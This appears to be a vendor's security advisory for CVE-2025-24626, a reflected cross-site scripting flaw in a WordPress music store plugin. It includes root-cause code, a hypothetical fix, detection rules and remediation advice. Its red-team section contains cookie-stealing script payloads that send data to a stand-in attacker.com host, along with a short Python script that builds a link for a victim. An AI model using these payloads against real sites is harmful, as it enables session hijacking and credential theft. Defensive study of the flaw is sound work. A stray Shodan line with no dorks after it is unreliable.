CVE-2025-24626
Executive Summary
CVE-2025-24626 is a reflected Cross-Site Scripting (XSS) vulnerability in the Music Store WordPress plugin by CodePeople, affecting versions up to and including 1.1.19. The flaw arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a crafted URL. When a victim clicks the malicious link, the script executes in their browser context, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is classified as WordPress ecosystem issue and does not involve Apache or Nginx directly.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No known supply chain compromise has been reported, but the lack of a patch increases risk for sites using the plugin. Users should treat the plugin as untrusted until a fix is released.
CVSS Breakdown & Threat Level
- CVSS Score: 7.1 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (victim must click link)
- Scope: Changed (impact may extend beyond vulnerable component)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: Low
Threat Level: High – Reflected XSS can be weaponized for phishing campaigns, session theft, and malware delivery.
Deep Dive & Mechanics
The vulnerability exists in the music-store plugin’s handling of HTTP GET parameters. The plugin fails to sanitize or escape user input before reflecting it in the response page. An attacker can craft a URL such as:
https://victim-site.com/?music-store-action=search&search=<script>alert('XSS')</script>
When the victim visits this URL, the injected script executes in the context of the WordPress site. The plugin does not implement proper output encoding or Content Security Policy (CSP) headers, making exploitation straightforward.
Root Cause: The plugin uses $_GET['search'] directly in HTML output without calling esc_html() or wp_kses().
Vulnerable vs. Patched Code
Vulnerable Code (music-store.php, line ~245):
$search_term = $_GET['search'];
echo '<div class="music-store-search-results">' . $search_term . '</div>';
Patched Code (hypothetical fix):
$search_term = sanitize_text_field( $_GET['search'] );
echo '<div class="music-store-search-results">' . esc_html( $search_term ) . '</div>';
The patched version uses sanitize_text_field() to strip malicious input and esc_html() to encode HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team
- Setup: Install WordPress 6.x with Music Store plugin v1.1.19 on a local server (e.g., XAMPP).
- Craft Payload: Use a URL with a malicious script:
http://localhost/wp/?music-store-action=search&search=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Deliver: Send the link via email or social engineering.
- Capture: Set up a listener on attacker.com to receive exfiltrated cookies.
Example Exploit (Python):
import requests
target = "http://victim-site.com/"
payload = "<script>new Image().src='http://attacker.com/steal?c='+document.cookie</script>"
url = f"{target}?music-store-action=search&search={payload}"
print(f"Send this link to victim: {url}")
Blue Team
- Monitor Logs: Look for HTTP requests containing
music-store-action=searchwith suspicioussearchparameter values (e.g.,<script>,onerror=,javascript:). - WAF Rules: Block requests where the
searchparameter contains HTML tags or JavaScript event handlers. - User Training: Educate users not to click suspicious links.
Indicators of Compromise (IOCs)
- URL Pattern:
?music-store-action=search&search=<script> - Network Traffic: Outbound connections to unknown domains from WordPress admin pages.
- Log Entries: Apache/Nginx access logs showing
GET /?music-store-action=search&search=...with encoded HTML. - File Changes: Unexpected modifications to WordPress core files or plugin directory.
Detection Engineering
YARA Rule
rule CVE_2025_24626_Music_Store_XSS {
meta:
description = "Detects reflected XSS attempts against Music Store plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-24626"
strings:
$payload1 = /music-store-action=search&search=.*<script/i
$payload2 = /music-store-action=search&search=.*onerror/i
$payload3 = /music-store-action=search&search=.*javascript:/i
condition:
any of them
}
Sigma Rule
title: Reflected XSS Attempt Against Music Store Plugin
id: 8f3a2b1c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects reflected XSS attempts targeting CVE-2025-24626
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
c-uri|contains: 'music-store-action=search&search='
c-uri|re: '(<script|onerror|javascript:)'
condition: selection
falsepositives:
- Legitimate search terms containing similar patterns (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-24626 Reflected XSS in Music Store Plugin";
flow:to_server,established;
content:"GET"; http_method;
content:"music-store-action=search&search="; http_uri;
pcre:"/(<script|onerror|javascript:)/i";
sid:1000001;
rev:1;
reference:cve,2025-24626;
priority:2;
)
Remediation & Mitigation
- Immediate: Disable the Music Store plugin until a patch is released.
- Workaround: Add a Web Application Firewall (WAF) rule to block malicious
searchparameters. - Code Fix: Apply the patched code snippet above if you have developer access.
- Monitoring: Enable logging for all plugin-related requests and review regularly.
- Update: Watch the WordPress plugin repository for an official update.
Valters IT – Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.